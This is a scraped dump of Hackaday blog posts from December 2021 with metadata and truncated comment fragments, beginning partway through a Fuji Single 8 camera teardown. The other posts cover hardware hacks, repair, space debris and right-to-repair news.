Surprisingly it still has a mercury cell that would have powered its light meter; a minor annoyance to dispose of this correctly. Sometimes these devices had clockwork motors, but this one has an electric motor. It also has a light sensor that is coupled to some kind of electromechanical aperture. It would have been an expensive camera when it was new, probably as much of a purchase as an SLR or a decent mirrorless camera here in 2021.
The surprise came when I opened it up, for it looked like no other 8mm camera I had seen. I’m familiar wit the two reels of a Standard 8 or the boxy cassette of Super 8, but this one used something different. That film magazine is made to fit a compact twin-reel cartridge whose film fits in a metal film gate. This is a Single 8 camera, Fuji’s entry in the all-in-one 8 mm film market, and a format I never knew existed. To explain my unexpected discovery it was necessary to delve into the world of home movie formats in the decade before videotape arrived and drove them out.
The Home Movie Days Had Their Format Wars Too
8 mm film dates from the early 1930s, when Kodak released the format as a cheaper alternative to 16 mm for the home movie market. The original 8 mm film, now known as Standard 8, is simply 16 mm film stock with twice the number of sprocket holes, which could be exposed on both edges by running it through the camera in both directions. The film strip would be cut in half and spliced together during development, resulting in a longer film strip with sprocket holes on only one side but with a short overexposed white section in the middle at the join depending on how successfully the user had kept the light at bay while swapping over the film reels. Starting in the 1960s, some manufacturers offered sound recording on a magnetic strip added between the sprocket holes and the edge of the film.
A depiction of the various 8mm movie film formats. Max Smith,
Public domain
.
The shortcomings of Standard 8 with its inconvenient film swap-over, oversized sprocket holes, and unsatisfactory sound capabilities, led manufacturers to seek improved versions. Kodak’s Super 8 of 1965 had a larger picture area with smaller sprocket holes and sound capability designed in from the start, and came in a compact cartridge containing both reels one stacked above the other with no rewind facility. My camera’s Single 8 from the same year uses the same film format but on a thinner stock, and with separate reels. Arguments raged at the time over the relative merits of Super 8’s plastic film pressure plate over Single 8’s metal part, but reading around the subject, the consensus seems to be that both versions had a better picture quality that Standard 8.
A Fuji Single 8 cartridge. Carlitospradera, CC BY-SA 4.0.
Agfa film in a Super 8 cartridge. Alfambra, Public domain.
It might be a surprise to some readers who are several decades on from their move to digital, that while Single 8 went out of production around a decade ago, both Standard 8 and Super 8 are still available — and have a significant enthusiast filmmaker following. Aside from the millions of simple home movie cameras like my Fuji, there were much higher quality professional-grade units, and these still command high prices. It’s attractive to pick up a Super 8 home movie camera and give it a go, but with film cartridges selling for around £40 (about $53) and offering only a few minutes of footage it’s hardly an inexpensive hobby.
A Teardown On A Device With Loads Of Tiny Screws, What Could Possibly Go Wrong!
This is the first time I’ve had a move camera on my desk, so it’s an ideal moment to dismantle it and take a look at its inner workings. And immediately I picked up the screwdriver it became evident that here is a very well designed and well built device indeed. Everything comes apart with very well-placed screws, and all screws are both easy to get to and turn as though they were last touched yesterday instead of five decades ago. Starting in the film magazine there’s a removable cover under the film cartridge below which can be found a gear train for the film advance, and a mechanism involving a PCB wiper switch for the film usage indicator. The motor drive is mounted in the handle alongside the batteries, with the same gear train driving both shutter and advance. For a Pi conversion there’s plenty of space for the Pi camera, but sadly the film pressure plate will need moving.
A gold-plated PCB switch for the film usage gauge.
The metal pressure plate assembly.
Turning my attention to the front, there is an aluminium cover that’s retained by two screws and the zoom ring on the lens. Some careful extraction of tiny grub screws deals with the lens rings, and the cover comes off to reveal the inner workings. The lens assembly has a mount casting that incorporates a prism and mirror for the viewfinder light path. This comes before the shutter, so it will be easy to retain in any digital conversion.
Below the prism is the aperture mechanism, as I suspected a tapered opening mounted on a moving-coil meter movement. The shutter itself is visible below the aperture mechanism, but I didn’t expose it, there should be a pair of rotating discs with openings in them. The surprise comes in how little in the way of electronics it contains: aside from the light sensor and moving coil, that’s it. This is a triumph of electromechanical engineering miniaturised into a handheld device, and as ready to shoot now as it was when first unpacked back in the early 1970s.
The viewfinder prism behind the lens.
Looking through the lens, with the viewfinder light path on the right.
The viewfinder mirror above the lens.
The moving-coil aperture.
So do I have any guilt in tearing apart an 8 mm camera for a Pi conversion? If it were a rare or high performance camera then perhaps to do so would be a minor crime, but for a plentiful and mass-produced consumer grade item, and particularly one whose film hasn’t been made for years, there’s little chance of it being anything but a paperweight otherwise.
So with this one I’ll need to stop the shutter in its open position and remove enough of the film gate and pressure plate assembly to fit one of the smaller Pi cameras with its lens removed. There’s plenty of space for a modern battery in the handle, and I’m considering whether I can 3D print a facsimile of a Single 8 cartridge to house both Pi and sensor, thus minimising the dismantling required. These lenses give the same vintage home movie quality to digital images as they did to the 8 mm film when they were new, so I hope any videos I make will be suitably distinctive. | 53 | 19 | [
{
"comment_id": "6407116",
"author": "Greg A",
"timestamp": "2021-12-15T15:25:46",
"content": "heh folding palm pilot keyboard with a serial interface. i believe i have the same unit! when my palm Vx died, i was able to hack it to work with my ipaq h3765 just as well. i still have the keyboard, a... | 1,760,372,852.959154 | ||
https://hackaday.com/2021/12/15/you-can-always-use-an-attiny-instead-of-a-555/ | You Can Always Use An ATtiny Instead Of A 555 | Jenny List | [
"ATtiny Hacks"
] | [
"555",
"555 timer",
"ATTiny 85"
] | It’s a constant of writing for Hackaday, that whenever a project appears using a 555 timer, someone will say “You could have used a microcontroller to do that!”. It’s something that [Shranav Palakurthi] has approached with the ATTiny555,
a project that emulates an entire 555
by making clever use of the humble and ubiquitous microcontroller chip. We’ve all been guilty of it at some time, but now at last the ATTiny85 enthusiasts have conclusive proof that their favourite piece of cheap silicon can prove its mettle.
The full details of the ingenious 555 replacement
can be found in its GitHub repository
, and for those willing to take the plunge it’s as simple as adding a resistor and updating the firmware. It’s not the perfect 555 replacement with its imperfect analogue performance and swapped reset and ground pins, but it does however bring the advantage of a lower supply voltage.
You can see the device in action in the YouTube video below the break, but meanwhile rejoice that finally there’s a way to replace all those unnecessary 555s with your favourite inexpensive 8-pin chip!
While we’re on the subject of the 555, don’t forget
we’re running our 555 contest again
. | 62 | 19 | [
{
"comment_id": "6407072",
"author": "dave",
"timestamp": "2021-12-15T12:31:56",
"content": "Could have done that with an RPI.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6407111",
"author": "fuzzyfuzzyfungus",
"timestamp": "2021-12-15T15:... | 1,760,372,853.832238 | ||
https://hackaday.com/2021/12/15/googles-t-rex-game-ported-to-the-esp32/ | Google’s T-Rex Game Ported To The ESP32 | Lewin Day | [
"Microcontrollers"
] | [
"browser game",
"chrome",
"ESP32",
"game",
"gaming",
"Google Chrome",
"T-rex"
] | Most Chrome users will have come across a neat little Easter egg when their Internet connection has gone down – a game known as “T-Rex” where a dinosaur must be jumped over cactii. Whether or not this is accurate in terms of the evolutionary timeline, it’s a bit of fun, and
Volos Projects
educator [Danko Bertović]
decided to port the game to the ESP32.
The game runs on the LILYGO TTGO T-Display development board, which pairs the powerful microcontroller with a 1.14-inch color LCD. His clone goes as far as authentically replicating the “No Internet” page from within Google Chrome, before kicking into the game at the press of a tactile button.
The game is built using a sprite-based engine, which enables gameplay with a minimum of flickering on the screen. Transparency is included to stop the sprites from occluding other screen elements unnecessarily. [Danko] hasn’t yet released a full tutorial on using sprites on the ESP32, but
code is available
for your own digestion.
It’s not the first time we’ve seen [Danko]’s
ESP32 games,
as he’s developed a few over the years. Others have gone so far as
coding 8-bit emulators for the platform.
Video after the break. | 3 | 3 | [
{
"comment_id": "6407137",
"author": "David Thijs",
"timestamp": "2021-12-15T16:32:03",
"content": "Awesome, going to check out the code. I’ve made once a game in vb.net as part of a school project and since I wasn’t familiar with directx/directdraw, I had to revert to sprites to draw buildings, ta... | 1,760,372,853.240215 | ||
https://hackaday.com/2021/12/14/a-slim-7400-logic-vga-board-for-all-your-retro-needs/ | A Slim 7400 Logic VGA Board For All Your Retro Needs | Tom Nardi | [
"Parts",
"Retrocomputing"
] | [
"7400-series",
"74xx",
"Vectron",
"vga"
] | Over the years we’ve seen a number of hackers generate VGA with 74xx logic chips, but they’ve generally not been the most practical of builds. Often put together as part of a competition or purely for the challenge, these circuits are usually implemented in a mass of jumper wires and often take up multiple breadboards. Not exactly something you can toss in a drawer when you’re done with it.
But the Vectron VGA Plus
, created by prolific hacker [Nick Bild], manages to improve on things considerably. Designed specifically to be smaller and simpler than its predecessors, the custom PCB contains far fewer chips than we’re used to seeing for this kind of thing. At the same time it provides a handy header row along the bottom that allows the user to connect whatever they’re working on, from microcontrollers to retro computers.
When your breadboard looks like this, it’s time for a PCB.
It looks like the PCB could still be shrunk down considerably if you’re really looking to maximize desk space, but we imagine for his purposes, [Nick] felt this was more than compact enough. Especially when you look at what the same circuit looked like during the breadboard phase. Yikes.
So, what did it take to simplify this 640 x 480 VGA interface? The short answer is adding more RAM. Wherever possible, dedicated hardware was replaced with software operations that could be performed by the externally connected device. [Nick] has provided some sample code for the Arduino that lets the microcontroller push data into the board’s memory and take control.
We can trace the origins of this project back a few years, to when
[Nick] was working on adding an LCD to his homebrew 6502 computer
. A few months later he put together the earlier version of this board, the Vectron VGA, before switching gears and
handing VGA generation duty over to a FPGA
. We’re excited to see the next evolution of this project, and given the track record of this particular hacker, we shouldn’t have to wait long before it hits our inbox. | 10 | 6 | [
{
"comment_id": "6407046",
"author": "PhDummy",
"timestamp": "2021-12-15T09:30:01",
"content": "I have the same dejavu feeling.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6407069",
"author": "Shannon",
"timestamp": "2021-12-15T12:22:03",
"conte... | 1,760,372,853.347765 | ||
https://hackaday.com/2021/12/14/a-programming-language-to-express-programming-frustration/ | A Programming Language To Express Programming Frustration | Bryan Cockfield | [
"Software Hacks"
] | [
"ahhh",
"code",
"coding",
"esoteric",
"frustration",
"language",
"programming",
"scream"
] | Programming can be a frustrating endeavor. Certainly we’ve all had moments, such as forgetting punctuation in C or messing up whitespace in Python. Even worse, an altogether familiar experience is making a single change to a program that should have resulted in a small improvement but instead breaks the program. Now, though, there’s a programming language that can put these frustrations directly into the code itself into a cathartic, frustration-relieving syntax.
The language is called AHHH and it’s quite a scream
.
While it may not look like it on the surface, the language is Turing complete and can be used just like any other programming language. The only difference is that there are only 16 commands in this language which are all variants of strings of four capital- or lower-case-H characters. The character “A” in the command “AHHH” starts the program, and from there virtually anything can be coded as a long, seemingly unending scream. The programming language is loosely related to COW which uses various “moos” to create programs instead of screams, and of course is also distantly related to brainfuck which was an esoteric programming language created in order to have the smallest possible compiler.
We can’t really recommend that beginner programmers start to learn this language instead of something more practical like Python, esoteric languages like these can teach us a lot about the way that computers work.
This language, for example, lets you code in pixels
instead of characters. Others are more for fun such as this language which
turns your code into an ’80s rock ballad
.
Thanks to [Kyle F] for the tip! | 26 | 14 | [
{
"comment_id": "6407015",
"author": "DainBramage",
"timestamp": "2021-12-15T05:51:53",
"content": "That is hilarious!Perhaps someday it can be expanded upon by adding the letters R and G. Perhaps that version could be called “AHHHRRGH”.",
"parent_id": null,
"depth": 1,
"replies": [
... | 1,760,372,853.690496 | ||
https://hackaday.com/2021/12/14/pcb-microsurgery-puts-the-bodges-inside-the-board/ | PCB Microsurgery Puts The Bodges Inside The Board | Dan Maloney | [
"Repair Hacks"
] | [
"blind via",
"bodge",
"copper",
"epoxy",
"fr4",
"pcb",
"repair",
"trace",
"via"
] | We all make mistakes, and there’s no shame in having to bodge a printed circuit board to fix a mistake. Most of us are content with cutting a trace or two with an Xacto or adding a bit of jumper wire to make the circuit work. Very few of us, however, will decide to
literally do our bodges inside the PCB itself
.
The story is that [Andrew Zonenberg] was asked to pitch in debugging some incredibly small PCBs for a prototype dev board that plugs directly into a USB jack. The six-layer boards are very dense, with a forest of blind vias. The Twitter thread details the debugging process, which ended up finding a blind via on layer two shorted to a power rail, and another via shorted to ground. It also has some beautiful shots of [Andrew]’s “mechanical tomography” method of visualizing layers by slowly grinding down the surface of the board.
[Andrew] has only tackled one of the bodges at the time of writing, but it has to be seen to be believed. It started with milling away the PCB to get access to the blind via using a ridiculously small end mill. The cavity [Andrew] milled ended up being only about 480 μm by 600 μm and only went partially through a 0.8-mm thick board, but it was enough to resolve the internal short and add an internal bodge to fix a trace that was damaged during milling. The cavity was then filled up with epoxy resin to stabilize the repair.
This kind of debugging and repair skill just boggles the mind. It reminds us a bit of t
hese internal chip-soldering repairs
, but taken to another level entirely. We can’t wait to see what the second repair looks like, and whether the prototype for this dev board can be salvaged.
Thanks to [esclear] for the heads up on this one. | 23 | 11 | [
{
"comment_id": "6406969",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2021-12-15T00:40:46",
"content": "Wow! #1 having the ability to mill anything at that scale.Wow! #2 having the ability to mill fractional depths of a PCB layerWow! #3 removing the PCB from the mill and returnin... | 1,760,372,853.297494 | ||
https://hackaday.com/2021/12/14/fabulous-flexure-mechanism-makes-for-resetting-cat-calendar/ | Fabulous Flexure Mechanism Makes For Resetting Cat Calendar | Kristina Panos | [
"Lifehacks",
"Misc Hacks"
] | [
"calendar",
"flexures"
] | When we met [Amy Makes Stuff] at the 2019 Hackaday Superconference, we were immediately impressed with the array of flexure mechanisms displayed on a board hanging around her neck. That must be where we saw [Amy]’s original version of the cat calendar — a simple way to know for sure whether the shared house’s cat has been fed once, twice, or not at all on a given day.
Left: a simple flexure that gets heavily stressed when actuated. Right: a slightly more complicated flexure that uses less force.
Awesome as it is, the flexure mechanism doesn’t reset the yes/no indicators when the day clicks over — that has to be done manually. So when [Amy] was offered to try a small desktop CNC,
she decided it was time to make a new version that resets automatically
. Check it out in the video after the break, which also includes an exploration of [Amy]’s choice of flexure design as well as a bonus review of the CNC.
This is just an all-around great video, especially after [Amy] neglected to mill out the check marks and circles, sending her down a rabbit hole of attempting to make branding bits for these that could be chucked into a soldering iron. Unfortunately, the mill stops short of having the necessary mettle for milling metal.
Although [Amy] is likely known for her flexures, she has a ton of skills. Remember when she
resurrected that burned and bubbled laser cutter?
Or the time she
machined a honing jig for hand-sharpening chisels and planes? | 18 | 9 | [
{
"comment_id": "6406936",
"author": "vib",
"timestamp": "2021-12-14T21:23:57",
"content": "Nice to see a video without gesticulating monkey like the videos of many youtubers. It´s a decent and simple demonstration. Refreshing !",
"parent_id": null,
"depth": 1,
"replies": []
},
{
... | 1,760,372,853.402508 | ||
https://hackaday.com/2021/12/14/what-really-goes-wrong-with-your-tablet/ | What Really Goes Wrong With Your Tablet | Jenny List | [
"Repair Hacks"
] | [
"repair",
"right to repair",
"statistics"
] | We’ve all seen our share of consumer electronic devices that need repair. It’s inevitable that, however well-cared-for it will be, there’s always the unforseen that brings its life to an end. Many of us will be using devices we’ve repaired ourselves, because often other people’s useless broken electronics can be our free stuff when we know how to fix them and they don’t. This is the arena the Restart Project operate in, as through their Restart Parties they provide repair services to save unnecessary landfill. Over nearly a decade in operation they’ve fixed a huge number of faulty items, and now they’re releasing some data
and have analysed common fault modes and barriers to repair
for some categories.
We’re restricted to tablets, printers, and batteries, and while many of the problems are the wear-and-tear such as tablet screens, power supplies, charging connectors, and paper feeds that most of us would expect, it’s the barriers to repair which the Restart Project are keen to draw attention to. Products that are near-impossible to open without damage, parts such as batteries which are difficult to remove, and unavailability of spares. It’s to become part of their campaigning for legal repairability standards across Europe.
Aside from their own analysis, the full data is all available for download should you have any extra insights.
We’ve made our position on this matter very clear indeed
. | 33 | 10 | [
{
"comment_id": "6406900",
"author": "Greg A",
"timestamp": "2021-12-14T19:46:01",
"content": "i’m pretty comfortable with the usual replace the screen, replace the battery, replace the keyboard sort of stuff..i’m starting to come around to being able to deal with the glued-in batteries and crap too... | 1,760,372,853.525486 | ||
https://hackaday.com/2021/12/14/orbital-safety-the-challenges-of-surviving-space-junk/ | Orbital Safety: The Challenges Of Surviving Space Junk | Maya Posch | [
"Original Art",
"Science",
"Space"
] | [
"iss",
"orbital debris",
"Satellites",
"spacejunk"
] | Hanging around in earth orbit is like walking into the middle of a Wild West gunfight — bullets are flying around everywhere, and even though none are purposefully aimed at you, one might have your name on it. Many of these bullets are artificial satellites that are actively controlled and monitored, but we also find dead satellites, remnants of satellites, discarded rocket stages, tools lost during spacewalks, and even flecks of paint and rust, much of it zipping around at multiple kilometers per second without any guidance.
While removing this space debris directly would be ideal, the reality is that any spacecraft and any spacesuit that has to spend time in orbit needs to be capable of sustaining at least some hits by space debris impacting it.
Orbital Mechanics
That it’s easy to create new debris should come as no surprise to anyone. What may take a bit more imagination is just how long it can take for this debris to make its way towards earth’s atmosphere, where it will uneventfully burn up. Everything in orbit is falling toward the earth, but its tangential velocity keeps it from hitting — like a marble spinning around the hole in a funnel. Drag from the planet’s atmosphere is the friction that eventually
slows the object down
, and where it orbits in the planet’s atmosphere determines how long this descent will take.
Orbital decay rate infographic. (Credit: ULA)
As cited by NASA’s
Orbital Debris Program Office
at ARES in their
FAQ
, there are over 23,000 debris objects larger than 10 cm in orbit, in addition to more than half a million objects between 1 cm and 10 cm, and millions of objects between 1 mm and 10 mm. The principal sources of orbital debris are satellite explosions and collisions. This includes China’s 2007 anti-satellite (ASAT) test, as well as India’s 2019 and Russia’s 2021 ASAT tests, which happened in addition to the USSR & US 57 (total) ASAT tests.
Satellites sometimes explode, such as the 2004 and 2015
US DSMP satellite explosions
. Other times satellites collide with each other, like Iridium-33 with Cosmos-2251, get hit by debris or micrometeorites, and so on. As in low earth orbit (LEO) debris tends to travel at speeds upwards of 7 km/s.
Depending on the mass of the debris object, the effect of it impacting with a satellite or other object in its path, likely adding another ~7 km/s into the opposite direction, could be the transfer of gigajoules worth of kinetic energy, equivalent to tons of TNT. Even a fleck of paint traveling at these speeds have been shown to cause significant damage, especially to fragile structures such as solar panels. As mentioned, this makes it essential that such structures can accept some level of impact damage.
Always the Small Ones
The Whipple Shield used on NASA’s Stardust probe. (Credit: NASA)
Although obviously carrying more energy, the nice thing about the larger debris pieces is that they are relatively easy to track using ground-based equipment. A satellite or space station can use onboard thrusters if it gets too close to the orbit of one of those big pieces of debris.
This then mostly leaves the smaller debris, especially the small flakes and grains that are too small to track, but with enough mass to cause significant damage. For decades, the go-to protection for spacecraft is the Whipple shield. Much like the similar multi-shock shield, it is a type of
spaced armor
, which is a type of armor first made popular with iron warships of the mid-19th century.
Instead of simply making armor thicker, multiple layers are used, with empty space or some kind of padding in between them. This saves on weight, while allowing for an incoming projectile to harmlessly dissipate its energy. This same principle can be seen with e.g. the windows on the ISS, which consists out of multiple layers. In the case of the
ISS’ Cupola
, there are four layers:
Outer debris pane.
Two 25 mm pressure panes.
Inner scratch pane.
The outer pane is supposed to dissipate most of the energy of a strike, with the layer behind it catching the debris cloud, which should be traveling at slow enough speeds that they should do no significant harm. Each window can be replaced in-orbit after fitting an external cover, should they suffer so much damage that replacement is warranted.
Damage observed to ISS solar array 3A, panel 58 (cell side on left, Kapton backside on right). Note by-pass diode is disconnected due to MMOD impact. (Credit: Hyde et al., 2019)
For the remaining sections of the ISS,
ballistic panels are placed
some distance from the primary hull, which are designed to capture and dissipate the energy from micrometeorites and small orbital debris. Meteoroid and orbital debris damage on the ISS has been studied for decades now, with a
2019 paper by Hyde et al.
describing recent findings.
An interesting finding is that of damage to the ISS’ Solar Array Wings. In one case an micrometeorite impacted one of the panels and created a 7 mm diameter hole. This destroyed a bypass diode in the panel and caused a current buildup that ultimately resulted in a nearly 40 cm long burn-through along the edges of three cells.
Obviously, protecting solar panels in this environment is anything but easy, as by definition adding protective panels in front of them rather defeats the entire purpose of having solar panels. The ISS has over 250,000 cells, with the expectation that some of them will inevitably be lost over time. In June 2021, astronauts at the ISS
installed new solar panels
to replace the oldest.
While replacing solar panels like this is a viable option to deal with accumulated damage on a space station, it is less practical for satellites, which should thus have sufficient excess electrical capacity to deal with the loss over time.
Offense as Best Defense
Because the debris in some orbits will hang around for decades or longer, we may eventually reach a point where active removal of this debris becomes a necessity. This is where orbital mechanics and the incredible amount of space in, well, space make things very tricky. Even though the risk of orbital debris is high, because satellites and debris are both moving around quite quickly, the density is very low. That’s why astronauts on the ISS don’t see bits of debris zipping by all the time.
This sparseness makes active debris removal a chore, and explains why recent high-profile missions such as
RemoveDEBRIS
,
ClearSpace-1
, and others focus on large debris that travels in previously known orbits. They often require satellites to move within a certain distance from the target, and perform delicate operations. As previously established, the largest threat comes from the debris that cannot be easily tracked, which would thus seem to largely defeat these clean-up methods.
Here perhaps the best method is to not actively hunt these objects down, but to passively catch them using an expansive system, much like how a spider uses a web to catch unsuspecting prey. This is what Russian startup StartRocket with their
Foam Debris Catcher
has in mind. The use of foam to capture orbital debris is not new, with an
ESA report from 2011
also covering the use of foam in depth.
No Littering
Even with mitigation solutions in place, and with orbital debris removal methods being investigated and possibly being deployed over the coming decades, the best thing we can do right now is to prevent making more of a mess. These days, space traffic management is handled primarily by the United Nations Office for Outer Space Affairs (
UNOOSA
), with national policies following international agreements on preventing orbital debris and other considerations.
The increasing focus on re-usability of spacecraft is a fortunate development. The grandest goal of the US Space Shuttle program — that it would serve as a platform for servicing satellites — never came to fruition beyond servicing Hubble. However, we may hope to soon see an end to the routine discarding of simply leaving entire rocket stages floating around, reducing at least one source of space pollution. | 22 | 8 | [
{
"comment_id": "6406874",
"author": "SteveS",
"timestamp": "2021-12-14T18:04:40",
"content": "> bullets are flying around everywhere, and even though none are purposefully aimed at you, one might have your name on it.What’s the old saying? “It’s not the bullet with my name on it that worries me, it... | 1,760,372,853.462272 | ||
https://hackaday.com/2021/12/14/automated-turret-keeps-dorm-clean-robocop-style/ | Automated Turret Keeps Dorm Clean,RoboCopStyle | Robin Kearey | [
"home hacks",
"Microcontrollers"
] | [
"automated turret",
"cleaning",
"dorm"
] | Students’ dorm rooms are not generally known to be the most orderly of places. Whether it’s mountains of dishes in the sink, piles of clothes waiting to be washed, or random bits and bobs strewn across the hallway, cleaning up is pretty low on the agenda for many dorm dwellers.
[Luis Marx] seems to have invented a useful solution to his (or his roommates’) sloppiness:
a robotic turret
that opens fire on anyone who leaves items unattended (video, in German, embedded below). This system uses a set of “clutter sensors” that can be placed in strategic locations around the house and will detect stray objects using ultrasonic sensors. If any are found, the main system is alerted through WiFi. The turret will then search for any persons in its vicinity and start shooting them with little plastic balls.
The turret in question is a beautifully-designed piece of kit made from 3D printed parts and controlled by an ESP32. It can swivel around its axis and tilt up and down using two servos, while its firing mechanism is driven by a DC motor. It tracks its target thanks to a camera-based object sensor that can recognize humans. The whole thing gives us a bit of a
RoboCop
vibe; we’d half expect it to shout
Pick up those clothes. You have twenty seconds to comply.
While this might not be the definitive solution to messy dorm rooms, we like the creative thinking behind it. We’ve seen
auto-targeting turrets
before, but not in household applications like this. Of course there are plenty of other
robots that can help you with domestic tasks
. | 17 | 11 | [
{
"comment_id": "6406856",
"author": "X",
"timestamp": "2021-12-14T16:49:05",
"content": "What an ingenious way to avoid human interaction.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6406876",
"author": "tekkieneet",
"timestamp": "2021-12-14T18:08:... | 1,760,372,853.741902 | ||
https://hackaday.com/2021/12/14/teardown-verizon-ac791l-jetpack-4g-mobile-hotspot/ | Teardown: Verizon AC791L Jetpack 4G Mobile Hotspot | Tom Nardi | [
"Hackaday Columns",
"Teardown"
] | [
"4g",
"cdma",
"hotspot",
"netgear",
"qualcomm",
"verizon"
] | The saying “time and tide wait for no man” is usually used as a verbal kick in the pants, a reminder that sometimes an opportunity must be seized quickly before it passes by. But it can also be interpreted as a warning about the perpetual march of time and how it impacts the world around us. In that case, we would do well to add cellular technology to the list of proverbial things that wait for no one. Do you need 5G? No. Do you want it? Probably not. But it’s here, so be a good consumer and dump all your 4G hardware in the name of technical progress.
This line of logic may explain how the Verizon-branded Netgear AC791L 4G “Jetpack” hotspot you see here, despite being in perfect working order, found itself in the trash. The onset of 5G must have been particularly quick for the previous owner, since they didn’t even bother to wipe their configuration information from the device. In the name of journalistic integrity I won’t divulge the previous owner’s identity; but I will say that their endearing choice of WPA2 key,
iluvphysics
, makes for a nice fit with our publication.
A quick check of eBay shows these devices, and ones like it, are in ample supply. At the time of this writing, there were more than 1,500 auctions matching the search term “Verizon jetpack”, with most of them going for between $20 and $50 USD. We like cheap and easily obtainable gadgets that can be hacked, but is there anything inside one of these hotspots that we can actually use? Let’s find out.
A Tidy Package
As far as first impressions go, the Verizon Jetpack certainly doesn’t disappoint. The handheld unit has a very pleasing heft to it, and the front and back surfaces have a slightly rubberized finish reminiscent of a Thinkpad’s lid. I especially like the two small sliding doors on the bottom of the unit that cover up the external antenna ports. While a dedicated “Back” button would make navigating the user interface a bit more streamlined, the capacitive touch buttons on the front work well, and the screen is quite nice.
Opening up the device we can clearly why it’s so heavy: the massive 4,340 mAh lithium ion battery weighs in at 87 grams, compared to 75 g for the hotspot itself. This might seem like an excessive amount of power, even for what amounts to a 4G modem paired with a simple wireless router, but the manual explains that the Jetpack can double as a USB battery bank. Though the lack of a female USB Type-A on the unit means you’d need to carry a little USB On the Go (OTG) adapter to charge other gadgets.
Under the Hood
Ten T4 screws hold the back panel of the Jetpack on, and while they did get cute and put a sticker over one of them to rat out the owner should they dare to explore their own hardware, there was no problem getting the unit open. With the direction mobile electronics have taken in the last few years, I was somewhat worried the whole thing would have been glued together.
With the rear off, we get a good look at the dual conformal antennas that curve around the edges of the device. These are connected to the PCB with some springy tabs, which in turn are directly connected to the external antenna ports. Compared to what passes for a cellular antenna in a modern ultra-slim smartphone, the Jetpack offers a pretty impressive array of options in the reception department. Of course, being a 4G hotspot, the ability to pull in a solid LTE signal is pretty critical.
The PCB itself just pops right out of the frame, and beyond the spring contacts for the antennas, its only physical connection to the rest of the unit is the connector that goes to the front LCD and button assembly. It’s certainly not surprising that all the components on the board have been covered up with RF shields,
as it’s something we’ve seen in other devices with cellular connectivity
, but I was happy to find they weren’t soldered down at least. With a little careful prying, we can get a good look at the cornucopia of ICs within.
Built For Purpose
Oftentimes when we crack open a gadget like this, we’re able to find some familiar chips inside. Whether it’s a Z80 or an STM32, these well-known components provide a tangible link between the hacking community and the consumer hardware world. Not just ideologically, but practically, as identifying the MCU at the heart of a device is the first step towards
coming up with your own replacement firmware for it
.
I’d like to tell you that some common piece of silicon was hiding under one of those RF shields, and that running your own code on the hardware is just a matter of figuring out the proper OpenOCD settings. But unfortunately, that’s not the case.
Power Management
LiPo Charger
WiFi/BT Controller
LTE Radio
Instead we’ve got a whole mess of tiny ICs, most of which are unsurprisingly from Qualcomm and clearly intended for mobile phones. The WTR3925 is a cellular transceiver,
vintage 2013 or so
, and the MDM9630 is an LTE modem. The QCA6174 appears to be responsible for the WiFi and Bluetooth interfaces of the Jetpack, and the RF7459 is a CDMA amplifier. The SMB1356 is the charge controller for the battery, while the PMD9635 is a power management IC which apparently was also used in some variants of the iPhone 6. I wasn’t able to ID the large chip, labeled GP1639, but my guess is that’s the SoC that’s pulling it all together.
While I was able to find basic descriptions of most of the Qualcomm chips inside the Jetpack, actually getting a full datasheet on any of these components is another story entirely. The situation is a bit reminiscent of the time I
attempted
to
research some of the components in the VeriFone MX 925CTLS payment terminal
, but wasn’t able to find much more than vague descriptions and stock levels online. It seems like the folks working on these state-of-the-art telecommunications devices are in a fairly tight-knit club, and hackers like us aren’t invited.
Putting it to (Re)Use
While impossible isn’t a word we like to use around these parts, the chances of getting your own code running on the Jetpack doesn’t look great. There’s a lot of secrecy surrounding the hardware that goes into modern phones, and even though these chips are far from the cutting edge in 2021, public information about them isn’t exactly forthcoming. It’s also a pretty safe bet that any effort to reverse engineer the SoC will eventually run into some insidious security countermeasures.
So is the Verizon AC791L Jetpack a dead-end? Maybe not. While the internal dimensions aren’t terribly forgiving, I could certainly see the main board of this device replaced with a custom PCB carrying an ESP8266 or ESP32. Tapped into the Jetpack’s antennas and ample battery, you’d have a great platform for mobile WiFi hacking and experimentation. For that matter, it would be an exceptionally discreet device for penetration testing. It might not be worth paying ~$30 USD for one of these things just to use its battery and enclosure, but if you happen to find one in the trash like I did, you might have a nice winter project on your hands. | 24 | 12 | [
{
"comment_id": "6406828",
"author": "Ostracus",
"timestamp": "2021-12-14T15:41:15",
"content": "“Ten T4 screws hold the back panel of the Jetpack on, and while they did get cute and put a sticker over one of them to rat out the owner should they dare to explore their own hardware, there was no prob... | 1,760,372,853.900719 | ||
https://hackaday.com/2021/12/14/oh-deere-is-that-right-to-repair-resolution-troubling-you/ | Oh Deere, Is That Right To Repair Resolution Troubling You? | Jenny List | [
"News",
"Repair Hacks"
] | [
"john deere",
"legal",
"right to repair"
] | Over the years a constant in stories covering the right to repair has come from an unexpected direction, the farming community. Their John Deer tractors, a stalwart of North American agriculture, have become difficult to repair due to their parts using DRM restricting their use to authorised Deere agents. We’ve covered farmers using dubious software tools to do the job themselves, we’ve seen more than one legal challenge, and it’s reported that the price of a used Deere has suffered as farmers abandon their allegiance to newer green and yellow machines. Now comes news of a new front in the battle, as a socially responsible investment company
has the tractor giant scrambling to block their shareholder motion on the matter
.
Deere have not been slow in their fight-back against the threat of right-to-repair legislation and their becoming its unwilling poster-child, with CTO Jahmy Hindman going on record stating that
98% of repairs to Deere machinery can be done by the farmer themself
(PDF, page 5) without need for a Deere agent. The question posed by supporters of the shareholder action is that given the substantial risk to investors of attracting a right-to-repair backlash, why would they run such a risk for the only 2% of repairs that remain? We’d be interested to know how Deere arrived at that figure, because given the relatively trivial nature of some of the examples we’ve seen it sounds far-fetched.
It’s beyond a doubt that Deere makes high-quality agricultural machinery that many farmers, including at least one Hackaday scribe, have used to raise a whole heap of crops. The kind of generational brand loyalty they have among their customers simply can’t be bought by clever marketing, it’s been built up over a century and a half. As spectators to its willful unpicking through this misguided use of their repair operation we hope that something like this shareholder move has the desired effect of bringing it to a close. After all, it won’t simply be of benefit to those who wish to repair their tractor, it might just rescue their now-damaged brand before it’s too late.
Curious about previous coverage on this ongoing story?
This article from last year will give context
.
Header image: Nheyob /
CC BY-SA 4.0 | 103 | 32 | [
{
"comment_id": "6406789",
"author": "Chris",
"timestamp": "2021-12-14T12:36:16",
"content": "I would never even consider buying a John Deer until they remove 100% of the electronic blocks preventing owner service of their equipment.",
"parent_id": null,
"depth": 1,
"replies": [
{
